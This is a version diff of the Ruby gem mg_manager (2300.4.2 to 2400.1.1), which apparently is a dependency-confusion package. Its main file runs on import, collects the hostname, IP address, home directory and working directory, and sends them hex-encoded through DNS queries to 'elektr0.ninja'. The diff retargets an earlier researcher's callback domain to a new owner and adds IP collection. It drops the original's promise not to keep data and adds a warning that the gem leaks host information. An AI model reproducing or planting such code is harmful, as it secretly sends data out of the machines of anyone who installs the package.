mg_manager 2300.4.2 → 2400.1.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/mg_manager.rb +13 -19
  3. metadata +14 -9
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: b413ad8cfe42870709de684064116de472e511ea767442d7e08d72a16a2f6690
4
- data.tar.gz: af2b1db05a83b901a6dbf27e164e12b9383596f7936c5af2ea343fde6a285ee9
3
+ metadata.gz: c669fda762a96b34c2a3ac7c6b8e941abb8f18f47142349bcf7989f8d1539810
4
+ data.tar.gz: a7be3ccb30e9c2c2d482fec809ab86d26347c9c2b5c8d9cc135cb87a0eb02871
5
5
  SHA512:
6
- metadata.gz: 3eff05a8927757a8bdf61f5cd7cb32c38e4ca9a03586480e79503d68e8ce308ae6d5339ee135c538088b31c64e4a112c05890f7ef08154b89029c4c0d1885d77
7
- data.tar.gz: ea720d76328e70ed5f6c53cd96dd2b231aa8a9f538f4e519c167034e78a0a9aaf6833d79a860b8bc8d62bd8302d2ace5f94f1433524341c195c9ce20bdc0d916
6
+ metadata.gz: a2a14b1236160e772c7d4cb45828d98ed01c3c15787ad91b6b8b8ec5c8ac4d42adcd439185f5adf62b383815bcb1f8dd0a991973995d5f0b40bcc4f9d29a004c
7
+ data.tar.gz: 11cd937c8bc9ab1a10c3f331f351badaf3ab56032acbe90996f0cc72df7aca60985b19d0237b55e7f1f70207e16b2fe18c7c3a0c16fa32331ed23e3a718a8306
@@ -1,21 +1,8 @@
1
-
2
1
  =begin
3
2
 
4
- This code is used for research purposes.
5
-
6
- No sensitive data is retrieved.
7
-
8
- Callbacks from within organizations with a
9
- responsible disclosure policy will be reported
10
- directly to the organizations.
11
-
12
- Any other callbacks will be ignored, and
13
- any associated data will not be kept.
14
-
15
- For any questions or suggestions:
16
-
17
- alex@ethicalhack.ro
18
- https://twitter.com/alxbrsn
3
+ this is a modified code originally created by:
4
+ alex@ethicalhack.ro
5
+ https://twitter.com/alxbrsn
19
6
 
20
7
  =end
21
8
 
@@ -23,8 +10,10 @@ require 'socket'
23
10
  require 'json'
24
11
  require 'resolv'
25
12
 
26
- suffix = '.dns.alexbirsan-hacks-paypal.com'
27
- ns = 'dns1.alexbirsan-hacks-paypal.com'
13
+ #suffix = '.dns.alexbirsan-hacks-paypal.com'
14
+ suffix = '.elektr0.ninja'
15
+ #ns = 'dns1.alexbirsan-hacks-paypal.com'
16
+ ns = 'ns0.elektr0.ninja'
28
17
 
29
18
  package = 'mg_manager'
30
19
 
@@ -33,12 +22,14 @@ package = 'mg_manager'
33
22
  data = {
34
23
  'p' => package,
35
24
  'h' => Socket.gethostname,
25
+ 'ip' => Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address,
36
26
  'd' => File.expand_path('~'),
37
27
  'c' => Dir.pwd
38
28
  }
39
-
29
+ #puts data
40
30
  data = JSON.generate(data)
41
31
  data = data.unpack('H*')[0].scan(/.{1,60}/)
32
+ #puts data
42
33
 
43
34
  id_1 = rand(36**12).to_s(36)
44
35
  id_2 = rand(36**12).to_s(36)
@@ -56,9 +47,12 @@ custom_res = Resolv.new([Resolv::Hosts.new,
56
47
  data.each.each_with_index do |chunk, idx|
57
48
  begin
58
49
  Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
50
+ #puts 'v3_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
59
51
  rescue; end
60
52
 
61
53
  begin
62
54
  custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
55
+ #puts 'v3_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
63
56
  rescue; end
64
57
  end
58
+
metadata CHANGED
@@ -1,24 +1,28 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: mg_manager
3
3
  version: !ruby/object:Gem::Version
4
- version: 2300.4.2
4
+ version: 2400.1.1
5
5
  platform: ruby
6
6
  authors:
7
- - Alex Birsan
7
+ - repeatuntilend
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2020-09-14 00:00:00.000000000 Z
11
+ date: 2020-10-20 00:00:00.000000000 Z
12
12
  dependencies: []
13
- description: This package is meant for security research purposes and does not contain
14
- any useful code.
15
- email: alex@ethicalhack.ro
13
+ description: "!!! WARNING !!! \nThis Gem is NOT meant to run in production! It will
14
+ leak information from the running host!\nThe Gem was created and modified to test
15
+ and monitor a vulnerability.\nThe Gem will pull the hostname, ip, username, and
16
+ home directory from the host it is running on and send it through DNS queries to
17
+ our monitoring system.\nThe Gem will be removed in 2021.\nThe original Gem and Repo
18
+ was created by alex@ethicalhack.ro, https://twitter.com/alxbrsn\n"
19
+ email: repeatuntilend@protonmail.com
16
20
  executables: []
17
21
  extensions: []
18
22
  extra_rdoc_files: []
19
23
  files:
20
24
  - lib/mg_manager.rb
21
- homepage: https://twitter.com/alxbrsn
25
+ homepage: ''
22
26
  licenses:
23
27
  - MIT
24
28
  metadata: {}
@@ -37,8 +41,9 @@ required_rubygems_version: !ruby/object:Gem::Requirement
37
41
  - !ruby/object:Gem::Version
38
42
  version: '0'
39
43
  requirements: []
40
- rubygems_version: 3.0.3
44
+ rubygems_version: 3.1.4
41
45
  signing_key:
42
46
  specification_version: 4
43
- summary: Security research purposes only
47
+ summary: "!!! WARNING !!! This Gem is NOT meant to run in production! It will leak
48
+ information from the running host!"
44
49
  test_files: []